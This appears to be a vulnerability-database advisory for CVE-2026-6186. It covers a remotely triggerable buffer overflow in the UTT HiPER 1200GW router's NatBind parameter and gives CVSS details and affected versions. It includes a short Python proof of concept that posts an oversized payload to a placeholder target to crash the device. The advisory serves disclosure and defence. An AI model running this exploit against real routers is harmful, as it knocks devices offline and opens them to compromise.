Security Vulnerability Report
中文
CVE-2026-6186 CVSS 8.8 HIGH

CVE-2026-6186

Published: 2026-04-13 16:16:36
Last Modified: 2026-04-22 20:23:16

Description

A security vulnerability has been detected in UTT HiPER 1200GW up to 2.5.3-170306. This vulnerability affects the function strcpy of the file /goform/formNatStaticMap. The manipulation of the argument NatBind leads to buffer overflow. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

UTT HiPER 1200GW <= 2.5.3-170306

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://<TARGET_IP>/goform/formNatStaticMap" # Malicious payload to trigger buffer overflow in 'NatBind' parameter # 500 'A' characters to overflow the buffer payload = { "NatBind": "A" * 500 } try: print(f"Sending exploit to {target_url}...") response = requests.post(target_url, data=payload) print(f"Response Status Code: {response.status_code}") # If the service crashes or times out, the exploit likely succeeded except Exception as e: print(f"Exploit sent, exception occurred (possible crash): {e}")

References

Raw JSON Data

JSON
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